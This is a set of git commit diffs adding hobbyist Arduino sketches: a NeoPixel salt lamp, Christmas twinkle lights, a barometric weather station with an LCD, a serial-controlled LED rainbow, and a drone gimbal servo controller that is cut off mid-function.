Add files via upload

Add files via upload

Changed the shimmer function to use a single array to contain many important values. Overhauled the entire shimmer function. Changed the timer delay functions slightly. Removed Lightning until I can actually figure out a nice way to implement it. Detailed changelog to come.

error: pathspec 'Salt_Lamp_v2.0.ino.ino' did not match any file(s) known to git

--- Salt_Lamp_v2.0.ino.ino
+++ Salt_Lamp_v2.0.ino.ino
@@ -0,0 +1,327 @@
+
+// Neopixel Salt Lamp v2.0
+// By Chris Barrett - Polaris Interplanetary - Special Projects Division
+// Supports two modes; All pixel colour fade, and 8 pixel RGB mixer. All modes are asynchronous, and compartmentalized into functions.
+
+//  Dec  2016     - Changed shimmer to use a different array based system to try and finally end flickering.
+//  June 2016     - Re-implemented rotary encoder functions for brightness control
+//                - New timing function to space out updates
+//                - LIGHTNING FUNCTION
+//                - produces a quicker shimmer effect, may replace shimmer with it later.
+//  January 2016  - Shimmer has been overhauled. Cleaner, faster and more productive. NO MORE MID FADE FLICKER?
+//                - Collision detection has been implemented, not sure if it works, will need to check further.
+
+#include <Adafruit_NeoPixel.h>  //  Neopixel library
+//#include <avr/power.h>        //  Not sure why this is here, lol
+#include <Encoder.h>            //  Rotary encoder library.
+
+
+#define PIN            6        //  Which pin on the Arduino is connected to the NeoPixels
+
+
+#define NUMPIXELS      37      //  Highest pixel location.
+#define LOWPIXELS      0       //  Lowest pixel location This was helpful in prototyping because I could use a long strip of lights and only address the last few and stick them in the salt crystal.
+
+
+
+// When we setup the NeoPixel library, we tell it how many pixels, and which pin to use to send signals.
+// Note that for older NeoPixel strips you might need to change the third parameter--see the strandtest
+// example for more information on possible values.
+Adafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, PIN, NEO_GRB + NEO_KHZ800);
+
+Encoder myEnc(2, 3);                                //  Encoder function variables
+
+//--------------------------------------------------//  TIMER STUFF
+
+
+/* These are from Blink without Delay
+Shows another way to execute delays. */
+unsigned long previousMillis = 0;
+unsigned long lastbolt = 0;
+unsigned long interval = 60;
+int maxb;
+
+
+int butpin = 5;                                     //  integer to store button pin
+int butval;                                         //  Button digital read variable
+int butsel = 1;                                     //  Button mode selection variable.
+int butbounce;                                      //  button debounce
+int rcount;                                         //  Counter for red
+int gcount;                                         //  Counter for green
+int bcount;                                         //  Counter for blue
+int rval;                                           //  int stores red brightness
+int gval;                                           //  int stores green brightness
+int bval;                                           //  int stores blue brightness
+int rgo;                                            //  red go int, 0 for off, 1 for upwards, 2 for downwards
+int ggo;                                            //  green go int, 0 for off, 1 for upwards, 2 for downwards
+int bgo;                                            //  blue go int, 0 for off, 1 for upwards, 2 for downwards
+int magicnumber;                                    //  magic number determines when to fire colours
+int supbright;
+int interntimer;
+
+//--------------------------------------------------//  The following values are for the "Shimmer" routine
+int PixRay[NUMPIXELS][7];
+long oldPosition  = 255;                            //  integer to store encoder value
+int firstrun = 0;                                   //  array to write first run values to pixels
+int randosparkle =0;                                //  integer to hold the random number value
+
+//--------------------------------------------------// LIGHTNING
+int boltgo[8];
+int boltloc[8];
+int boltbright[8];
+int boltupdn[8];
+int boltready[8];
+
+void setup() {                                      //-----------------------------------------------(Setup)
+    pinMode(butpin, INPUT);                         //  Set buttonpin as input
+ //   Serial.begin(9600);                           //  Initialize Serial Debug
+   pixels.begin();                                  //  This initializes the NeoPixel library.
+
+    for (int i=0; i <= (NUMPIXELS-1); i++){             //  set magic number for all pixray locations
+      PixRay[i][5] = {i};
+    }
+
+}
+
+void loop() {                                       //-----------------------------------------------(Main Loop)
+
+  if (firstrun == 0){
+  }
+
+  butcheck();
+
+unsigned int tnow = millis();
+
+   // some other logic here would decide when to change the LED state
+   // For this sample, just toggle every 4 seconds
+  if((tnow - previousMillis) >= interval) {
+
+      if (oldPosition > 1 && oldPosition < 255){
+        supbright = oldPosition;
+      }
+
+      if (oldPosition < 0){
+        supbright = 0;
+      }
+
+      if (oldPosition > 255){
+        supbright = 255;
+      }
+
+
+      if (butsel == 1){
+          clearscreen();
+          shimmer();
+      }
+
+      if (butsel == 2){
+          clearscreen();
+          colourfade();
+      }
+
+      if (butsel == 3){
+          clearscreen();
+      }
+
+      pixels.show();                                  // This sends the updated pixel color to the hardware.
+    previousMillis = tnow;
+}
+
+}
+
+void clearscreen(){                                 //-----------------------------------------------(clears the strip)
+    for(int i=0;i<NUMPIXELS;i++){
+        pixels.setPixelColor(i, pixels.Color(0,0,0));
+    }
+}
+
+void butcheck(){                                    //-----------------------------------------------(Button Check Function)
+
+
+
+    long newPosition = myEnc.read();
+    if (newPosition != oldPosition) {
+
+
+    if (newPosition >= 100){
+      myEnc.write(100);
+    }
+    if (newPosition < 0){
+      myEnc.write(0);
+    }
+        oldPosition = newPosition;
+       // Serial.println(newPosition);
+    }
+
+    interval = map(newPosition, 0, 100, 80, 0);
+    maxb = map(newPosition, 0, 100, 0, 255);
+
+    pinMode(butpin, INPUT);
+    butval = digitalRead(butpin);                   // check button pin for a high
+
+
+
+    if (butval == HIGH){                            // if high signal read add one to the button selection variable
+      butbounce = 1;
+    }
+
+    if (butbounce == 1 && butval == LOW){
+     butsel = butsel + 1;
+     butbounce = 0;
+    }
+
+    if (butsel > 2){                               //  resets the button value variable. I use this method so I can add more modes if I want later.
+    butsel = 1;
+    }
+}
+
+void colourfade(){                                  //-----------------------------------------------(Colour Fade Function)
+
+    magicnumber = random(0,30);                     //creates a magic number
+
+    if (magicnumber == 3 && rgo == 0){              //checks to see if magic number has selected red and red is not currently firing
+      rgo = 1;                                      //sets the red go bit to 1 meaning positive alternation
+    }
+
+    if (magicnumber == 10 && ggo == 0){              //checks to see if magic number has selected green
+      ggo = 1;
+    }
+
+    if (magicnumber == 20 && bgo == 0){             //checks to see if magic number has selected blue
+      bgo = 1;
+    }
+
+
+    // ---------------------------------------------// Write Red
+
+    if (rgo == 1){                                  // checks for ascent stage bit, adds one to red brightness
+      rval = rval + 1;
+    }
+
+    if (rgo == 2){                                  // checks for descent stage bit, subtracts one from brightness
+      rval = rval - 1;
+    }
+
+    if (rval >= maxb){                               // sets red bit to 2 meaning negative alternation
+      rgo = 2;
+    }
+
+    if (rval == 0 && rgo == 2){                     // when counter runs out and go bit is 2, reset everything.
+      rgo = 0;
+      rval = 0;
+    }
+
+    // ---------------------------------------------// Write Blue
+
+    if (bgo == 1){                                  // checks for ascent stage bit, adds one to blue brightness
+      bval = bval + 1;
+    }
+
+    if (bgo == 2){                                  // checks for descent stage bit, subtracts one from brightness
+      bval = bval - 1;
+    }
+
+    if (bval >= maxb){
+      bgo = 2;
+    }
+
+    if (bval == 0 && bgo == 2){
+      bgo = 0;
+      bval = 0;
+    }
+
+    // ---------------------------------------------// Write Green
+
+    if (ggo == 1){                                  // checks for ascent stage bit, adds one to green brightness
+      gval = gval + 1;
+    }
+
+    if (ggo == 2){                                  // checks for descent stage bit, subtracts one from brightness
+      gval = gval - 1;
+    }
+
+    if (gval >= maxb){
+      ggo = 2;
+    }
+
+    if (gval == 0 && ggo == 2){
+      ggo = 0;
+      gval = 0;
+    }
+
+
+
+
+    for(int i=LOWPIXELS;i<NUMPIXELS;i++){
+        pixels.setPixelColor(i, pixels.Color(rval,gval,bval));
+    }
+
+
+}
+
+void shimmer() {                                    //-----------------------------------------------(Shimmer Function)
+
+
+     randosparkle = random(0,(NUMPIXELS*10));                   //picks a random number
+
+
+
+    for (int i=0; i <= (NUMPIXELS-1); i++){                     //For loop to check random number against magic numbers and set the pixel for activation
+      if (PixRay[i][5] == randosparkle && PixRay[i][0] == 0){
+        PixRay[i][0] = 1;
+        PixRay[i][1] = random(0,3);
+      }
+    }
+
+//    unsigned int tnow = millis();
+
+ //   if((tnow - previousMillis) >= interval) {
+      for (int i=0; i <= (NUMPIXELS-1); i++){                     //For loop to activate a pixel
+          if (PixRay[i][0] == 1){
+              drawPixel(i);
+          }
+      }
+//      previousMillis = tnow;
+//    }
+}
+
+void drawPixel(int pixelv){              //-----------------------------------------------(Red Pixel Draw Function)
+
+
+
+    if (PixRay[pixelv][4] == 0){                      //check if counter is within envelope
+        PixRay[pixelv][2] = PixRay[pixelv][2] + 1;
+    }
+
+    if (PixRay[pixelv][4] == 1){                      //check if counter is within envelope
+        PixRay[pixelv][2] = PixRay[pixelv][2] - 1;
+    }
+
+    if (PixRay[pixelv][2] >= maxb){                    //check if counter is within second half of fade
+      PixRay[pixelv][4] = 1;
+      PixRay[pixelv][2] = maxb;
+    }
+
+    if (PixRay[pixelv][1] == 0){
+      pixels.setPixelColor(pixelv, pixels.Color(PixRay[pixelv][2],0,0));
+    }
+
+    if (PixRay[pixelv][1] == 1){
+      pixels.setPixelColor(pixelv, pixels.Color(0,PixRay[pixelv][2],0));
+    }
+
+    if (PixRay[pixelv][1] == 2){
+      pixels.setPixelColor(pixelv, pixels.Color(0,0,PixRay[pixelv][2]));
+    }
+
+
+    if (PixRay[pixelv][2] <= 0 && PixRay[pixelv][4] == 1){               //check if counter is done alternation
+       pixels.setPixelColor(pixelv, pixels.Color(0,0,0));                //turn selected pixel off
+       PixRay[pixelv][2] = 0;                                            //set brightness to zero
+       PixRay[pixelv][0] = 0;                                            //deactivate pixel activate bit
+       PixRay[pixelv][4] = 0;                                            //reset counter
+    }
+
+}
+
+


Add Christmas twinkle lights on NeoPixel strip

error: pathspec 'twinkle/twinkle.ino' did not match any file(s) known to git

--- twinkle/twinkle.ino
+++ twinkle/twinkle.ino
@@ -0,0 +1,95 @@
+// A basic everyday NeoPixel strip test program.
+
+// NEOPIXEL BEST PRACTICES for most reliable operation:
+// - Add 1000 uF CAPACITOR between NeoPixel strip's + and - connections.
+// - MINIMIZE WIRING LENGTH between microcontroller board and first pixel.
+// - NeoPixel strip's DATA-IN should pass through a 300-500 OHM RESISTOR.
+// - AVOID connecting NeoPixels on a LIVE CIRCUIT. If you must, ALWAYS
+//   connect GROUND (-) first, then +, then data.
+// - When using a 3.3V microcontroller with a 5V-powered NeoPixel strip,
+//   a LOGIC-LEVEL CONVERTER on the data line is STRONGLY RECOMMENDED.
+// (Skipping these may work OK on your workbench but can fail in the field)
+
+#include <Adafruit_NeoPixel.h>
+#ifdef __AVR__
+ #include <avr/power.h> // Required for 16 MHz Adafruit Trinket
+#endif
+
+
+
+// Which pin on the Arduino is connected to the NeoPixels?
+// On a Trinket or Gemma we suggest changing this to 1:
+#define LED_PIN    6
+
+// How many NeoPixels are attached to the Arduino?
+#define LED_COUNT 21
+
+// Declare our NeoPixel strip object:
+Adafruit_NeoPixel strip(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);
+// Argument 1 = Number of pixels in NeoPixel strip
+// Argument 2 = Arduino pin number (most are valid)
+// Argument 3 = Pixel type flags, add together as needed:
+//   NEO_KHZ800  800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
+//   NEO_KHZ400  400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
+//   NEO_GRB     Pixels are wired for GRB bitstream (most NeoPixel products)
+//   NEO_RGB     Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
+//   NEO_RGBW    Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
+
+void setAll(byte red, byte green, byte blue) {
+  for(int i = 0; i < LED_COUNT; i++ ) {
+    strip.setPixelColor(i, red, green, blue);
+  }
+  strip.show();
+}
+
+// setup() function -- runs once at startup --------------------------------
+
+void setup() {
+  // These lines are specifically to support the Adafruit Trinket 5V 16 MHz.
+  // Any other board, you can remove this part (but no harm leaving it):
+#if defined(__AVR_ATtiny85__) && (F_CPU == 16000000)
+  clock_prescale_set(clock_div_1);
+#endif
+  // END of Trinket-specific code.
+
+  strip.begin();           // INITIALIZE NeoPixel strip object (REQUIRED)
+  strip.show();            // Turn OFF all pixels ASAP
+  strip.setBrightness(50); // Set BRIGHTNESS to about 1/5 (max = 255)
+}
+
+
+// loop() function -- runs repeatedly as long as board is on ---------------
+
+void loop() {
+
+  int i;
+  int color;
+
+/* Twinkle Christmas colors */
+
+    for(i = 0; i < LED_COUNT; i++)
+    {
+        color = random(4);
+          switch (color) {
+            case 0:
+              strip.setPixelColor(i, 255, 255, 255);
+              break;
+            case 1:
+              strip.setPixelColor(i, 255, 0, 0);
+              break;
+
+            case 2:
+              strip.setPixelColor(i, 0, 255, 0);
+              break;
+
+            case 3:
+              strip.setPixelColor(i, 0, 0, 0);
+      }
+    }
+    strip.show();
+    delay(100);
+    setAll(0, 0, 0);
+
+  }
+
+


Starting point arduino sketch included

Starting point arduino sketch included

error: pathspec 'weather/weather.ino' did not match any file(s) known to git

--- weather/weather.ino
+++ weather/weather.ino
@@ -0,0 +1,375 @@
+// For the Dallas DS18B20 one wire Temp Sensors
+#include <OneWire.h>
+#include <DallasTemperature.h>
+//For the MPL3115A2 I2C Temp and Pressure Sensor
+#include <Wire.h>
+#include "MPL3115A2.h"
+// For the LCD Display
+#include <LiquidCrystal.h>
+
+// Debug Flag
+#define DEBUG 0
+//#define TO_SERIAL 1
+#define VERSION 0.1
+
+#define BACKLIGHT 13
+int light = A0;
+
+// Data wire is plugged into pin 2 on the Arduino
+#define ONE_WIRE_BUS 10
+
+// Define Global variables to be used throughout the sketch
+// Setup a oneWire instance to communicate with any OneWire devices (not just Maxim/Dallas temperature ICs)
+OneWire oneWire(ONE_WIRE_BUS);
+// Pass our oneWire reference to Dallas Temperature.
+DallasTemperature dallasTemp(&oneWire);
+//
+MPL3115A2 mplTempPressure;
+
+// LCD
+LiquidCrystal lcd(9,8,7,6,5,4);
+// Create the "Degree" character
+uint8_t degree[8] = {
+  B00010,
+  B00101,
+  B00101,
+  B00010,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+};
+// Create a down arrow
+uint8_t falling[8] = {
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+  B11111,
+  B01110,
+  B00100,
+  B00000,
+};
+// Create an up arrow
+uint8_t rising[8] = {
+  B00000,
+  B00100,
+  B01110,
+  B11111,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+};
+// Create a symbol for stable
+uint8_t stable[8] = {
+  B00000,
+  B00100,
+  B01110,
+  B11111,
+  B01110,
+  B00100,
+  B00000,
+  B00000,
+};
+// Create a symbol for unknown
+uint8_t empty[8] = {
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+  B00000,
+};
+// Variables to hold the values
+float inTemp = 0.0;
+float inTemp2 = 0.0;
+float outTemp = 0.0;
+float pressure = 0.0;
+
+// Hold historic values to help error checking
+float inTempHist = 0.0;
+float inTemp2Hist = 0.0;
+float outTempHist = 0.0;
+float pressureHist = 0.0;
+
+boolean firstRun = true;
+float maxVariation = 0.5; // difference between readings, should be good for both temp an pressure
+int smooth = 5; // How much weighting the historic value gets vs last reading (Smoothing)
+
+// Keep a historic record
+int const readingsPerMin = 12; //number of readings per minute
+float readings[readingsPerMin];
+float mins[60];
+float hours[24];
+// Indexes to next value to be written
+int rdgIndex = 0;
+int minIndex = 0;
+int hrIndex = 0;
+
+// Long historic value to allow estimate of rising or falling pressure
+float longPressureHist = 0.0;
+float pressureChangeMin = 0.1;
+long measureTime = 0;
+long measureInterval = 60000/readingsPerMin; // 5 second intervals between measurements
+long loopCount = 0;
+//long loops = 1*60*60/(measureTime/1000); //about 1 hour
+long loops = 12;
+
+
+
+// This helper function allows for smoothing of displayed values
+// and the updating of historic record
+float updateT(float hist, float value){
+  float newVal = 0.0;
+  if(value < hist + maxVariation && value > hist - maxVariation){
+    newVal = (smooth*hist + value)/(smooth+1.0);
+  } else {
+    newVal = hist;
+  }
+  return newVal;
+}
+
+float updateP(float hist, float value){
+  float newVal = updateT(hist, value);
+  float sum=0.0;
+  rdgIndex++;
+  if(rdgIndex == readingsPerMin){ // We have filled the readings buffer
+    // Roll the pointer round
+    rdgIndex = 0;
+    minIndex++;
+    if(minIndex == 60){ // We have filled the minutes buffer
+      // Roll the pointer round
+      minIndex = 0;
+      hrIndex++;
+      if(hrIndex == 24){ // We have filled the hours buffer
+        hrIndex = 0;
+      }
+      sum = 0.0;
+      for (int i=0; i<60; i++){
+        sum += mins[i];
+      }
+      hours[hrIndex] = sum/60.0;
+    }
+    sum = 0.0;
+    for(int i=0; i< readingsPerMin; i++){
+      sum += readings[i];
+    }
+    mins[minIndex] = sum/readingsPerMin;
+  }
+  readings[rdgIndex] = newVal;
+  return newVal;
+}
+
+float hrChange(int age){
+  int histIndex = (hrIndex + (24 - age)) % 24;
+  if(hours[hrIndex] < 0.0 || hours[histIndex] < 0.0){
+    return -9999.0;
+  } else {
+    return hours[hrIndex] - hours[histIndex];
+  }
+}
+
+float minChange(int age){
+  int histIndex = (minIndex + (60 - age)) % 60;
+  if(mins[minIndex] < 0.0 || mins[histIndex] < 0.0){
+    return -9999.0;
+  } else {
+    return mins[minIndex] - mins[histIndex];
+  }
+}
+
+byte symbol (float diff, float tolerance){
+  if (diff < -9000){ // Comparison with uninitialised value
+    return byte(4);
+  } else if(diff > tolerance){
+    return byte(1);
+  } else if (diff < -tolerance) {
+    return byte(2);
+  } else {
+    return byte(3);
+  }
+}
+
+// a helper function for placing temperature readings on the LCD
+int startTemp(float temp){
+  int start = 0;
+  // Adjust start position for Right Justify
+  if(temp > 0){
+    start++;
+  }
+  if(abs(temp) < 9.95){
+    start++;
+  }
+  return start;
+}
+
+void printSerial(String label, float inT1, float inT2, float outT, float p){
+  Serial.print(label);
+  Serial.print(inT1);
+  Serial.print(", ");
+  Serial.print(inT2);
+  Serial.print(", ");
+  Serial.print(outT);
+  Serial.print(", ");
+  Serial.println(p);
+}
+
+void printLCD(float inT1, float inT2, float outT, float p){
+  lcd.clear();
+  lcd.setCursor(startTemp(inT1),0);
+  lcd.print(inT1,1);
+  lcd.write(byte(0)); // degree symbol
+  lcd.print("C");
+  lcd.setCursor(9 + startTemp(inT2),0);
+  lcd.print(outT,1);
+  lcd.write(byte(0)); // degree symbol
+  lcd.print("C");
+  if(p > 999.95){ // Account for rounding...
+    lcd.setCursor(0,1);
+  } else {
+    lcd.setCursor(1,1);
+  }
+  lcd.print(p,1);
+  lcd.print(" mb");
+  #if DEBUG > 1
+    lcd.setCursor(10,1);
+    lcd.print(loopCount);
+    lcd.setCursor(15,1);
+    lcd.write(symbol(minChange(30), 0.2));
+  #else
+    lcd.setCursor(13,1);
+    lcd.write(symbol(hrChange(23), 1.0));
+    lcd.write(symbol(hrChange(6), 0.5));
+    lcd.write(symbol(minChange(30), 0.2));
+  #endif
+}
+
+
+void setup(void)
+{
+  #if defined(TO_SERIAL)
+  // start serial port
+  Serial.begin(9600);
+  #endif
+
+  // Start up the Dallas library
+  dallasTemp.begin(); // IC Default 9 bit. If you have troubles consider upping it 12. Ups the delay giving the IC more time to process the temperature measurement
+
+  // Start the MPL library
+  mplTempPressure.begin();
+  //Configure it to measure atmospheric pressure
+  mplTempPressure.setModeBarometer();
+  mplTempPressure.setOversampleRate(7); // Set oversample to recommended 128
+  mplTempPressure.enableEventFlags();
+
+  //LCD
+  pinMode(BACKLIGHT, OUTPUT);
+  analogWrite(BACKLIGHT, 128);
+  pinMode(light, INPUT);
+  lcd.begin(16, 2);
+  lcd.print("Weather Station");
+  lcd.setCursor(0,1);
+  lcd.print("Version ");
+  lcd.print(VERSION);
+  lcd.createChar(0,degree);
+  lcd.createChar(1,rising);
+  lcd.createChar(2,falling);
+  lcd.createChar(3,stable);
+  lcd.createChar(4,empty);
+  delay(1000);
+
+  // Zero out the history arrays
+  for(int i=0; i<readingsPerMin; i++)
+    readings[i] = -3000.0;
+  for(int i=0; i<60; i++)
+    mins[i] = -3000.0;
+  for(int i=0; i<24; i++)
+    hours[i] = -3000.0;
+}
+
+
+void loop(void)
+{
+  long start = millis();
+
+  // Set the backlight depending on the ambient light
+  int bright = analogRead(light);
+  analogWrite(BACKLIGHT, map(bright,0,1000,5,255));
+
+  // Possibly write out debug information
+   #if DEBUG > 3
+     #if defined(TO_SERIAL)
+      Serial.println(start);
+      Serial.print("Bright: ");
+      Serial.println(bright);
+      delay(10);
+    #endif
+  #endif
+
+  if (millis() > measureTime){
+    //Ask the dallas sensors to perform a reading
+    dallasTemp.requestTemperatures(); // Send the command to get temperatures
+    inTemp = dallasTemp.getTempCByIndex(0);
+    outTemp = dallasTemp.getTempCByIndex(1);
+
+    // Ask the MPL to perform a reading
+    inTemp2 = mplTempPressure.readTemp();
+    pressure = mplTempPressure.readPressure()/100; // Divide by 100 to get mBar
+
+    // Do some error checking - regularly see 0.0 coming back from the pressure sensor...
+    if(firstRun){
+      int check = 0;
+      if(pressure > 500.0){
+        pressureHist = pressure;
+        longPressureHist = pressure;
+        check++;
+      }
+      if(inTemp > -20.0){
+        inTempHist = inTemp;
+        check++;
+      }
+      if(inTemp2 > -20.0){
+        inTemp2Hist = inTemp2;
+        check++;
+      }
+      if(outTemp > -50.0){
+        outTempHist = outTemp;
+        check++;
+      }
+      if(check == 4){
+        firstRun=false;
+      }
+    } else {
+      pressureHist = updateP(pressureHist, pressure);
+      inTempHist = updateT(inTempHist, inTemp);
+      inTemp2Hist = updateT(inTemp2Hist, inTemp2);
+      outTempHist = updateT(outTempHist, outTemp);
+    }
+
+    printLCD(inTempHist, inTemp2Hist, outTempHist, pressureHist);
+
+    #if defined(TO_SERIAL)
+      printSerial("raw  ", inTemp, inTemp2, outTemp, pressure);
+      printSerial("hist ", inTempHist, inTemp2Hist, outTempHist, pressureHist);
+    #endif
+
+    loopCount++;
+
+    // Debug information to Serial
+    #if DEBUG > 3
+      #if defined(TO_SERIAL)
+        long processTime = millis() - start;
+        Serial.print("Milliseconds for the loop: ");
+        Serial.println(processTime);
+        processTime++; //we have taken about 1ms here so compensate :-)
+      #endif
+    #endif
+
+    while (measureTime < millis()){
+      measureTime += measureInterval;
+    }
+  }
+}


Arduino Code

Arduino Code

error: pathspec 'Arduino/Specturm.ino' did not match any file(s) known to git

--- Arduino/Specturm.ino
+++ Arduino/Specturm.ino
@@ -0,0 +1,175 @@
+long previousMillis = 0;
+bool rainbowAnimation = false;
+bool sentCommand = false;
+#include <Adafruit_NeoPixel.h>
+#ifdef __AVR__
+  #include <avr/power.h>
+#endif
+
+#define PIN 6
+
+// Parameter 1 = number of pixels in strip
+// Parameter 2 = Arduino pin number (most are valid)
+// Parameter 3 = pixel type flags, add together as needed:
+//   NEO_KHZ800  800 KHz bitstream (most NeoPixel products w/WS2812 LEDs)
+//   NEO_KHZ400  400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)
+//   NEO_GRB     Pixels are wired for GRB bitstream (most NeoPixel products)
+//   NEO_RGB     Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)
+//   NEO_RGBW    Pixels are wired for RGBW bitstream (NeoPixel RGBW products)
+Adafruit_NeoPixel strip = Adafruit_NeoPixel(10, PIN, NEO_GRB + NEO_KHZ800);
+
+// IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across
+// pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input
+// and minimize distance between Arduino and first pixel.  Avoid connecting
+// on a live circuit...if you must, connect GND first.
+
+// VARIABLES
+
+// INT
+int stripLength = strip.numPixels();
+int currentPixel = 0;
+int state;
+bool test = true;
+int blue = 0;
+int green = 0;
+int red = 255;
+
+int i = 0, j = 0;
+
+void setup() {
+  Serial.begin(9600);
+  strip.begin();
+  strip.show(); // Initialize all pixels to 'off'
+  Serial.print("Ready");
+
+}
+
+void loop() {
+
+    //colorWipe(100, strip.Color(red, green, blue));
+    //solidColor(strip.Color(0,255,0));
+    String data = Serial.readString();
+
+    if(data.substring(0,7) == "Rainbow" || rainbowAnimation){
+      // Reset Color
+      if(data.substring(0,7) == "Rainbow") i = 0, j = 0;
+
+      int wait = data.substring(7).toInt();
+
+      rainbowAnimation = true;
+      sentCommand = true;
+      rainbow(wait);
+    }
+    if(data.substring(0,10) == "SolidColor"){
+      rainbowAnimation = false;
+
+
+      String redString = data.substring(10,13);
+      String greenString = data.substring(13,16);
+      String blueString = data.substring(16,19);
+      solidColor(strip.Color(redString.toInt(),greenString.toInt(),blueString.toInt()));
+    }
+    if(data == "Off"){
+      rainbowAnimation= false;
+
+
+      strip.clear();
+      strip.show();
+    }
+}
+
+
+
+// Fill the dots one after the other with a color
+void colorWipe(int wait, float color) {
+
+  if(currentPixel <= stripLength){
+      strip.setPixelColor(currentPixel, color);
+      strip.show();
+      currentPixel ++;
+
+      if (blue < 255 && green == 0) {
+        blue += 5;
+        red -= 5;
+
+        Serial.print("Red : ");
+        Serial.println(red, DEC);
+        Serial.print("Blue : ");
+        Serial.println(blue, DEC);
+
+        if(blue >= 225){
+          blue = 255;
+          red = 0;
+        }
+    }
+    else if(red == 0 && blue > 0){
+      blue -= 5;
+      green += 5;
+
+      Serial.print("Green : ");
+      Serial.println(green, DEC);
+      Serial.print("Blue : ");
+      Serial.println(blue, DEC);
+    }
+
+      else {
+          blue = 0;
+          green = 0;
+          red = 255;
+          Serial.println("restarted");
+      }
+      delay(wait);
+  }
+
+  else {
+      currentPixel = 0;
+      strip.clear();
+    }
+}
+
+// SOLID COLOR
+void solidColor(float color){
+  currentPixel = 0;
+  while(currentPixel <= stripLength){
+      strip.setPixelColor(currentPixel, color);
+      strip.show();
+      currentPixel ++;
+    }
+}
+
+
+void rainbow(long wait){
+
+  // Delay
+  unsigned long currentMillis = millis();
+  if(currentMillis - previousMillis > wait || sentCommand) {
+    previousMillis = currentMillis;
+
+    if(j < 256){
+
+      for(i=0; i<stripLength; i++) {
+        strip.setPixelColor(i, Wheel((i+j) & 255));
+      }
+
+      strip.show();
+      j++;
+    } else j = 0;
+  }
+  if(sentCommand) sentCommand = false;
+}
+
+// Input a value 0 to 255 to get a color value.
+// The colours are a transition r - g - b - back to r.
+long Wheel(byte WheelPos) {
+  WheelPos = 255 - WheelPos;
+  if(WheelPos < 85) {
+    return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);
+  }
+  if(WheelPos < 170) {
+    WheelPos -= 85;
+    return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);
+  }
+  WheelPos -= 170;
+  return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
+}
+


Create gimbal.ino

Create gimbal.ino

Contains the Arduino code necessary to alter the gimbal based on info sent to it over tx and rx via linux.

error: pathspec 'Collision/gimbal.ino' did not match any file(s) known to git

--- Collision/gimbal.ino
+++ Collision/gimbal.ino
@@ -0,0 +1,163 @@
+/*
+ * @author: jstuder
+ *
+ */
+#include <Servo.h>
+
+//the servo to counter the pitch of the drone
+Servo pitch, roll;
+const int PARALLEL = 50; //45 allows for 30 degrees of + and - with ease
+const int PERPENDICULAR = PARALLEL + 90;
+
+//A constant to control the speed of angle change, lower is faster
+const int SPEED = 10;
+
+/*
+ * @parameters
+ *  byte angle -> the angle you want to go to
+ *  int speed -> the delay between a move of 1 degree (lower is faster)
+ */
+void goToAngle(byte pitchAngle, byte rollAngle, int speed);
+
+/*
+ * @parameters
+ * bool isPLL -> true if gimbal needs to be parallel to the ground, false if it
+ *               needs to be perpendicular
+ * int xAdj -> pass a positive or negative value to adjust the left-right axis of the gimbal
+ *             (modifies servo2)
+ * int yAdj -> pass a positive or negative value to adjust the forward-backward axis of the gimbal
+ *             (modifies pitch)
+ */
+void mntn(bool isPLL, byte rAdj, byte pAdj);
+
+void setup() {
+
+  //assigns analog pin 0 to output
+  pinMode(A0,OUTPUT);
+  pinMode(A2, OUTPUT);
+  pitch.attach(A0); //attaches pitch to analog 0
+  roll.attach(A2);
+
+  delay(1000); //gives a little leeway before start up. Not essential
+  goToAngle(50, 40, SPEED); //sets the gimbal to parallel as default
+
+  //enables serial
+  Serial1.begin(115200);
+  Serial.begin(115200);
+  Serial.println("Ready");
+  Serial1.println("hello??");
+}
+
+void loop()
+{
+  //used to track parallel or perpendicular
+  static boolean isParallel = true;
+  if (Serial1.available())
+  {
+    //reads as a string to allow for 'change' to be a condition
+    String in;
+    int i = 0;
+    in = Serial1.readString();
+    Serial.println(in);
+    char inC[in.length()];
+    in.toCharArray(inC, in.length());
+
+    //allows yChange to default to the previous value. If input is invalid the gimbal doesn't move.
+    byte pChange = pitch.read();
+    byte rChange = roll.read();
+    //if 'change' is sent, allows the gimbal to switch orientation
+    if (inC[0] == 's')
+    {
+      isParallel = !isParallel;
+      Serial.println("CHANGE"); //debugging purposes
+      pChange = 0; //allows the change to be precise. on change, you should be hovering
+      rChange = 0;
+    }
+    else
+    {
+      String rString = "";
+      String pString = "";
+      int count = 0;
+      do
+      {
+        rString += inC[count];
+        count++;
+      } while (inC[count] != ' ');
+
+      do
+      {
+        pString += inC[count];
+        count++;
+      } while (inC[count] != ' ');
+
+      rChange = rString.toInt();
+      pChange = pString.toInt();
+
+    }
+    Serial.print(rChange); //debugging purposes
+    Serial.print(" ");
+    Serial.println(pChange);
+    //calls the "maintain" function
+    mntn(isParallel, rChange, pChange);
+  }
+}
+
+void mntn(bool isPLL, byte rAdj, byte pAdj)
+{
+  //sets the new angle equal to the change from the old angle
+  //runs if the gimbal needs to be parallel to the ground
+  rAdj += 40;
+  if (isPLL)
+  {
+    Serial.println("PLL"); //debugging purposes
+    pAdj += PARALLEL;
+    goToAngle(pAdj, rAdj, SPEED);
+  }
+  else if (!isPLL)
+  {
+    Serial.println("PERP"); //debugging purposes
+    pAdj += PERPENDICULAR;
+    goToAngle(pAdj, rAdj, SPEED);
+  }
+}
+
+
+void goToAngle(byte pitchAngle, byte rollAngle, int speed)
+{
+  byte currentPAngle = pitch.read();
+  byte currentRAngle = roll.read();
+  if(pitchAngle > currentPAngle)
+  {
+    for (int i = currentPAngle; i < pitchAngle; i++)
+    {
+      pitch.write(i);
+      delay(speed);
+    }
+  }
+  else
+  {
